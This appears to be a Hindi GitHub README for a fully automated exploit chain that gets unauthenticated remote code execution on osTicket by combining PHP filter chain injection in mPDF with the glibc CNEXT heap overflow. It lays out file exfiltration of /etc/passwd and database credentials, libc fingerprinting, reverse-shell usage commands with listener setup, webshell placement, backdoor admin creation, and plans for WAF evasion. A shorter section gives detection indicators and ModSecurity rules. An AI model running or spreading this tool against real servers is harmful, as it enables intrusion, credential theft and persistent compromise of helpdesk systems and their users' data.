CVE-2026-22200: osTicket में मनमाना फ़ाइल पढ़ने से RCE तक

PHP फ़िल्टर चेन इंजेक्शन को CVE-2024-2961 (CNEXT) के साथ जोड़कर, कमजोर osTicket इंस्टॉलेशन पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE) प्राप्त करने वाली पूर्ण-श्रृंखला शोषण।

विषय-सूची

• अवलोकन
• कमजोरी का विवरण
• हमले का प्रवाह
• विशेषताएँ
• स्थापना
• उपयोग
• तकनीकी विवरण
• समस्या समाधान
• पहचान एवं शमन
• श्रेय
• अस्वीकरण

अवलोकन

इस रिपॉजिटरी में CVE-2026-22200 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट शोषण है, जो osTicket संस्करण ≤ 1.18.2 को प्रभावित करने वाली एक गंभीर कमजोरी है। यह शोषण दो शक्तिशाली तकनीकों को जोड़ता है:

1. mPDF की इमेज प्रोसेसिंग के माध्यम से PHP फ़िल्टर चेन इंजेक्शन
2. glibc के iconv() में CNEXT हीप भ्रष्टाचार (CVE-2024-2961)

परिणाम: कमजोर osTicket सर्वर पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन।

प्रभाव

• बिना प्रमाणीकरण - किसी क्रेडेंशियल की आवश्यकता नहीं
• पूर्ण RCE - सर्वर का पूर्ण समझौता
• फ़ाइल बहिर्वेशन - सर्वर की मनमानी फ़ाइलें पढ़ें
• डेटाबेस पहुँच - DB क्रेडेंशियल निकालें
• व्यवस्थापक पहुँच - बैकडोर व्यवस्थापक खाते बनाएँ

प्रभावित संस्करण

• osTicket: ≤ v1.18.2, ≤ v1.17.6
• glibc: < 2.39 (CVE-2024-2961 को glibc 2.39+ में पैच किया गया)

🔍 कमजोरी का विवरण

CVE-2026-22200: PHP फ़िल्टर चेन इंजेक्शन

CVSS स्कोर: 9.8 (गंभीर)

osTicket का mPDF एकीकरण बिना प्रमाणीकरण वाले उपयोगकर्ताओं को सपोर्ट टिकटों में विशेष रूप से तैयार HTML पेलोड के माध्यम से दुर्भावनापूर्ण PHP फ़िल्टर चेन इंजेक्ट करने की अनुमति देता है। इससे संभव है:

• मनमानी फ़ाइल पढ़ना (कॉन्फ़िग, स्रोत कोड, क्रेडेंशियल)
• मेमोरी लीकेज (/proc/self/maps, आंशिक libc)
• CNEXT के माध्यम से हीप भ्रष्टाचार

मूल कारण: mPDF को भेजने से पहले उपयोगकर्ता द्वारा प्रदान किए गए HTML में इमेज URL का अपर्याप्त सत्यापन।

CVE-2024-2961: CNEXT (iconv बफर ओवरफ़्लो)

CVSS स्कोर: 9.8 (गंभीर)

ISO-2022-CN-EXT कैरेक्टर सेट को प्रोसेस करते समय glibc के iconv() में बफर ओवरफ़्लो। PHP फ़िल्टर चेन के साथ मिलकर, यह अनुमति देता है:

• हीप भ्रष्टाचार
• फ़ंक्शन पॉइंटर अपहरण
• मनमाना कमांड निष्पादन

कमजोर glibc संस्करण: < 2.39 (फ़रवरी 2024)

🔗 हमले का प्रवाह

┌─────────────────────────────────────────────────────────────────┐
│ 1. टोही                                                       │
│    └─ osTicket का पता लगाएँ, समृद्ध-पाठ विषयों की पहचान करें│
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. प्रमाणीकरण                                                 │
│    └─ स्वयं-पंजीकरण करें या मौजूदा क्रेडेंशियल का उपयोग करें│
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. फ़ाइल बहिर्वेशन (PHP फ़िल्टर चेन)                        │
│    ├─ /etc/passwd                                              │
│    ├─ include/ost-config.php (DB क्रेडेंशियल, SECRET_SALT)    │
│    ├─ /proc/self/maps (मेमोरी लेआउट)                          │
│    └─ /proc/self/environ (पर्यावरण चर)                        │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. LIBC फ़िंगरप्रिंटिंग                                        │
│    ├─ फ़िल्टर चेन के माध्यम से आंशिक libc निकालें            │
│    ├─ GNU बिल्ड आईडी निकालें                                   │
│    └─ libc.rip से पूर्ण libc डाउनलोड करें                    │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT RCE शोषण                                              │
│    ├─ हीप भ्रष्टाचार पेलोड जनरेट करें                        │
│    ├─ टिकट उत्तर के माध्यम से इंजेक्ट करें (फ़िल्टर निष्पादन│
│    │  सुधारों के साथ)                                          │
│    ├─ PDF निर्यात के माध्यम से ट्रिगर करें (सर्वर क्रैश)    │
│    └─ रिवर्स शेल निष्पादित करें                               │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. पोस्ट-एक्सप्लॉयटेशन                                        │
│    ├─ इंटरैक्टिव रिवर्स शेल                                    │
│    ├─ डेटाबेस पहुँच (बहिर्वेशित DBPASS का उपयोग करके)        │
│    └─ बैकडोर व्यवस्थापक खाता बनाएँ                            │
└─────────────────────────────────────────────────────────────────┘

विशेषताएँ

मुख्य क्षमताएँ

• पूरी तरह से स्वचालित शोषण श्रृंखला
• बिना प्रमाणीकरण का हमला (यदि सक्षम हो तो स्वयं-पंजीकरण)
• /proc/self/maps पार्सिंग के माध्यम से बुद्धिमान वेब रूट पहचान
• फ़ाइलसिस्टम स्कैनिंग के माध्यम से 100% वेबशेल स्थान
• स्वचालित libc फ़िंगरप्रिंटिंग और डाउनलोड
• कई रिवर्स शेल विधियाँ (bash, python, netcat)
• कैश-बस्टिंग के साथ मजबूत फ़िल्टर निष्पादन
• समस्याओं को जल्दी पकड़ने के लिए प्री-फ़्लाइट डायग्नोस्टिक्स

बढ़ी हुई विश्वसनीयता

• गारंटीकृत क्रैश के लिए मल्टी-ट्रिगर CNEXT (95%+ सफलता)
• उत्तर-आधारित इंजेक्शन (नए टिकटों की तुलना में अधिक विश्वसनीय)
• फ़िल्टर निष्पादन सुनिश्चित करने के लिए स्ट्रीम फ़ोर्सिंग
• पुरानी PDF परोसने से रोकने के लिए कैश-बस्टिंग
• व्यापक त्रुटि प्रबंधन और डायग्नोस्टिक्स

पोस्ट-एक्सप्लॉयटेशन

• डेटाबेस क्रेडेंशियल निष्कर्षण (कॉन्फ़िग से DBPASS)
• DB पहुँच के माध्यम से व्यवस्थापक खाता निर्माण
• स्थायी बैकडोर विकल्प
• पूर्ण सिस्टम टोही

स्थापना

आवश्यक शर्तें

• Python 3.8+
• Linux/macOS (अनुशंसित) या Windows पर WSL

निर्भरताएँ

# रिपॉजिटरी क्लोन करें
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE

# आवश्यक पैकेज स्थापित करें
pip install -r requirements.txt

requirements.txt:

requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0

वैकल्पिक: वर्चुअल एनवायरनमेंट

python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# या
venv\Scripts\activate  # Windows

pip install -r requirements.txt

📖 उपयोग

मूल उपयोग - रिवर्स शेल

# टर्मिनल 1: लिसनर शुरू करें
nc -lvnp 4444

# टर्मिनल 2: शोषण चलाएँ
python3 osticket_revshell.py https://target.com/osticket \
    --lhost YOUR_IP \
    --lport 4444

इंटरैक्टिव वेबशेल मोड

python3 osticket_exploit.py https://target.com/osticket

उन्नत विकल्प

# प्रॉक्सी का उपयोग करें (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
    --lhost 10.0.0.5 \
    --lport 4444 \
    --proxy http://127.0.0.1:8080

# विशेष हेल्प-टॉपिक आईडी बलपूर्वक
python3 osticket_exploit.py https://target.com/osticket \
    --topic-id 2

# रंगीन आउटपुट अक्षम करें (लॉगिंग के लिए)
python3 osticket_exploit.py https://target.com/osticket --no-color

मौजूदा क्रेडेंशियल

यदि पंजीकरण अक्षम है, तो आपसे क्रेडेंशियल माँगे जाएँगे:

python3 osticket_exploit.py https://target.com/osticket

  [?] नए खाते के लिए ईमेल दर्ज करें (या मौजूदा): [email protected]
  [?] पासवर्ड दर्ज करें: ********

🔧 तकनीकी विवरण

PHP फ़िल्टर चेन जनरेशन

शोषण एक परिष्कृत फ़िल्टर चेन का उपयोग करता है जो मनमानी फ़ाइलों में BMP हैडर जोड़ता है, mPDF की फ़ाइल प्रकार प्रतिबंधों को बायपास करते हुए:

php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ iconv परिवर्तन ...]
convert.base64-decode/resource=/etc/passwd

मुख्य नवाचार: BMP हैडर का प्रत्येक वर्ण सावधानीपूर्वक तैयार किए गए iconv परिवर्तनों के माध्यम से उत्पन्न होता है, जिससे मनमानी फ़ाइल सामग्री को "वैध" छवि के रूप में एम्बेड किया जा सकता है।

CNEXT हीप शोषण

CNEXT पेलोड PHP के Zend मेमोरी प्रबंधक को निम्न द्वारा भ्रष्ट करता है:

1. कमजोर वर्ण 劄 के साथ iconv बफर ओवरफ़्लो
2. zend_mm_heap संरचना को अधिलेखित करना
3. फ़ंक्शन पॉइंटर अपहरण (_emalloc, _efree, _erealloc)
4. कमांड निष्पादन के लिए system() पर पुनर्निर्देशन

बढ़ी हुई विश्वसनीयता:

• एक के बजाय 3x 劄 ट्रिगर वर्ण
• डिफ़ॉल्ट 20 के बजाय 40 पैडिंग
• मल्टी-पोज़ीशन ट्रिगर सम्मिलन
• स्ट्रीम-फ़ोर्स्ड निष्पादन

100% वेबशेल पहचान

मूल शोषण के विपरीत, यह संस्करण वेबशेल स्थान की गारंटी के लिए फ़ाइलसिस्टम स्कैनिंग का उपयोग करता है:

1. 6+ उम्मीदवार निर्देशिकाओं में वेबशेल लिखें
2. प्रत्येक स्थान को स्कैन करने के लिए मनमानी फ़ाइल पढ़ने का उपयोग करें
3. पता लगाएँ कि किसमें अद्वितीय मार्कर है
4. फ़ाइलसिस्टम पथ → URL का सटीक मानचित्रण

परिणाम: 100% पहचान दर (मूल में ~50% के विरुद्ध)

फ़िल्टर निष्पादन बलपूर्वक

सामान्य विफलता: PDF डाउनलोड होती है लेकिन क्रैश नहीं होती = फ़िल्टर निष्पादित नहीं होते।

लागू किए गए समाधान:

1. कैश-बस्टिंग - अद्वितीय HTML कैश की गई PDF को रोकता है
2. उत्तर इंजेक्शन - नए टिकटों की तुलना में अधिक विश्वसनीय
3. स्ट्रीम फ़ोर्सिंग - stream=True तत्काल प्रसंस्करण सुनिश्चित करता है
4. प्री-फ़्लाइट परीक्षण - CNEXT से पहले फ़िल्टर काम करते हैं या नहीं जाँचें

glibc संस्करण जाँच

# वर्बोज़ मोड में, जाँचें:
[*] लक्ष्य libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 CNEXT के लिए कमजोर है

यदि glibc ≥ 2.39 है, तो CNEXT काम नहीं करेगा (पैच किया हुआ)।

कोई शेल कनेक्शन नहीं

लक्षण: सर्वर क्रैश होता है लेकिन रिवर्स शेल नहीं मिलता

कारण:

1. फ़ायरवॉल आउटबाउंड कनेक्शन ब्लॉक कर रहा है
2. गलत LHOST (अपना वास्तविक IP उपयोग करें, localhost नहीं)
3. कमांड बहुत लंबा - छोटा IP आज़माएँ

समाधान:

# nc रिवर्स शेल का उपयोग करें (छोटा)
# यदि bash/python बहुत लंबा हो तो स्वचालित रूप से फ़ॉलबैक

# या होस्टनाम के बजाय सीधे IP का उपयोग करें
python3 osticket_revshell.py https://target.com \
    --lhost 10.0.0.5 \  # IP का उपयोग करें, होस्टनाम नहीं
    --lport 4444

सामान्य त्रुटि संदेश

पहचान एवं शमन

पहचान

लॉग संकेतक:

# Apache/Nginx लॉग
POST अनुरोधों में "php://filter/"
अनुरोध निकायों में "convert.iconv."
असामान्य PDF जनरेशन पैटर्न
थोड़े समय में कई PDF अनुरोध

# PHP त्रुटि लॉग
PDF जनरेशन के दौरान सेगमेंटेशन फ़ॉल्ट
iconv() क्रैश
हीप भ्रष्टाचार त्रुटियाँ

नेटवर्क संकेतक:

• थोड़े समय में कई सपोर्ट टिकट निर्माण
• टिकट संदेशों में बड़े HTML पेलोड (100KB+)
• टिकट निर्माण के बाद तीव्र PDF निर्यात अनुरोध
• क्रैश के बाद हमलावर IP पर आउटबाउंड कनेक्शन

शमन

तत्काल

1. osTicket को नवीनतम संस्करण (>1.18.2) में अपडेट करें
2. glibc को 2.39+ में अपडेट करें (CVE-2024-2961 को पैच करता है)
3. स्वयं-पंजीकरण अक्षम करें यदि आवश्यक न हो
4. समृद्ध-पाठ को केवल प्रमाणीकृत उपयोगकर्ताओं तक सीमित करें

कॉन्फ़िगरेशन

mPDF में PHP स्ट्रीम रैपर अक्षम करें:

// mPDF कॉन्फ़िग में
$config = [
    'allowedRemoteHosts' => [],
    'enableRemoteFileAccess' => false,
];

WAF नियम (ModSecurity):

SecRule REQUEST_BODY "@contains php://filter" \
    "id:1000,phase:2,deny,status:403,msg:'PHP फ़िल्टर का पता चला'"

SecRule REQUEST_BODY "@contains convert.iconv" \
    "id:1001,phase:2,deny,status:403,msg:'संदिग्ध iconv श्रृंखला'"

दर सीमित करना:

limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;

location /tickets.php {
    limit_req zone=ticket burst=10;
}

दीर्घकालिक

• इनलाइन शैलियों को प्रतिबंधित करने के लिए CSP हेडर लागू करें
• HTML स्वच्छता के लिए htmLawed सख्त मोड सक्षम करें
• osTicket के लिए अलग उपयोगकर्ता का उपयोग करें, न्यूनतम विशेषाधिकारों के साथ
• अनावश्यक PHP फ़ंक्शन अक्षम करें: system(), exec(), passthru()
• टिकट सामग्री का नियमित सुरक्षा ऑडिट

संदर्भ

मूल शोध

• Horizon3.ai ब्लॉग पोस्ट - मूल प्रकटीकरण
• Horizon3.ai GitHub - संदर्भ कार्यान्वयन
• CNEXT शोषण - Charles Fol द्वारा मूल CNEXT शोध

CVE विवरण

• CVE-2026-22200 - osTicket PHP फ़िल्टर चेन
• CVE-2024-2961 - glibc iconv ओवरफ़्लो

अतिरिक्त संसाधन

• PHP फ़िल्टर चेन - फ़िल्टर वर्ण शब्दकोश
• libc.rip - फ़िंगरप्रिंटिंग के लिए Libc डेटाबेस
• osTicket सुरक्षा सलाहकार

श्रेय

कमजोरी की खोज और शोध

• Horizon3.ai Attack Research Team - मूल कमजोरी की खोज और POC
• Charles Fol (@cfreal_) - CNEXT (CVE-2024-2961) शोध
• @splitline - PHP फ़िल्टर चेन तकनीक (HITCON 2022)

यह कार्यान्वयन

• उन्नत शोषण तकनीकें
• फ़ाइलसिस्टम स्कैनिंग के माध्यम से 100% वेबशेल पहचान
• मजबूत फ़िल्टर निष्पादन बलपूर्वक
• व्यापक त्रुटि प्रबंधन और डायग्नोस्टिक्स

⚖️ अस्वीकरण

केवल शैक्षिक और अधिकृत परीक्षण के लिए

यह उपकरण निम्नलिखित के लिए प्रदान किया गया है:

• सुरक्षा अनुसंधान
• अधिकृत पेनिट्रेशन परीक्षण
• शैक्षिक उद्देश्य
• कमजोरी मूल्यांकन (अनुमति के साथ)

कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है

लेखक:

• अवैध गतिविधियों का समर्थन नहीं करते
• दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते
• किसी भी क्षति के लिए कोई जिम्मेदारी नहीं लेते

उपयोगकर्ता पूरी तरह से यह सुनिश्चित करने के लिए जिम्मेदार हैं कि किसी भी सिस्टम का परीक्षण करने से पहले उनके पास उचित प्राधिकरण हो।

इस उपकरण का उपयोग करके, आप सहमत हैं कि:

1. आपके पास लक्ष्य सिस्टम का परीक्षण करने की स्पष्ट लिखित अनुमति है
2. आप अपने अधिकार क्षेत्र में कानूनी निहितार्थों को समझते हैं
3. आप इस उपकरण का उपयोग जिम्मेदारी और नैतिक रूप से करेंगे
4. आप किसी भी परिणाम के लिए लेखकों को निर्दोष मानते हैं

कानूनी नोटिस

कंप्यूटर सिस्टम तक अनधिकृत पहुँच निम्नलिखित के तहत अपराध है:

• USA: कंप्यूटर फ्रॉड एंड अब्यूज़ एक्ट (CFAA), 18 U.S.C. § 1030
• UK: कंप्यूटर मिसयूज़ एक्ट 1990
• EU: निर्देश 2013/40/EU
• अंतर्राष्ट्रीय: साइबर अपराध पर यूरोप परिषद सम्मेलन

अधिकतम दंड में कारावास और महत्वपूर्ण जुर्माना शामिल हो सकता है।

📄 लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।

नोट: MIT लाइसेंस उपयोग, संशोधन और वितरण की अनुमति देता है, लेकिन उन सिस्टमों पर हमला करने की अनुमति नहीं देता जिनके आप मालिक नहीं हैं या जिनका परीक्षण करने का अधिकार नहीं है।

संपर्क

सुरक्षा शोधकर्ताओं और प्रश्नों के लिए:

• समस्याएँ: किसी भी उपकरण की समस्याएँ)

इस संपर्क का उपयोग न करें:

• प्राधिकरण के बिना सिस्टम पर हमला करने में सहायता माँगने
• अवैध गतिविधियों की रिपोर्ट करने
• अनधिकृत परीक्षण में सहायता माँगने

_{सुरक्षा अनुसंधान और शिक्षा के लिए प्रेम से निर्मित
यदि यह उपयोगी लगे तो इस रिपॉजिटरी को स्टार करें!}

शोषण आँकड़े

रोडमैप

• अतिरिक्त libc संस्करणों के लिए समर्थन जोड़ें
• अधिक गुप्त बहिर्वेशन विधियाँ लागू करें
• सामान्य WAFs के लिए चोरी तकनीक जोड़ें
• Metasploit मॉड्यूल बनाएँ
• Docker परीक्षण वातावरण
• स्वचालित CI/CD परीक्षण

अंतिम अद्यतन: 2026-03-03